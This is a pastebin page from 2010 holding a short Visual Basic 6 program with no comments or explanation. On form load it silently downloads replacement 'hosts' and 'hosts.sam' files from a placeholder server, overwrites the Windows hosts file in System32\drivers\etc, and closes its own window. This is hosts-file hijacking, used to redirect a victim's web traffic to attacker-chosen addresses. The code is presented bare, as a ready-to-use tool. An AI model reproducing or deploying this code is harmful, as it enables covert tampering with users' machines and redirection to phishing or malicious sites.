Untitled
By: a guest | Mar 16th, 2010 | Syntax:
None | Size: 0.84 KB | Hits: 118 | Expires: Never
Option Explicit
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Dim ERROR_SUCCESS
Private Sub Form_Load()
Dim sSourceUrl As String
sSourceUrl = "http://tuserver.com /" & _
"descargar/hosts"
DownloadFile sSourceUrl, "C:\Windows\System32\drivers\etc\hosts"
sSourceUrl = "http://tuserver.com /" & _
"descargar/hosts.sam"
DownloadFile sSourceUrl, "C:\Windows\System32\drivers\etc\hosts.sam"
Unload Form1
End Sub
Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
DownloadFile = URLDownloadToFile(0, sURL, _
sLocalFile, 0, 0) = ERROR_SUCCESS
End Function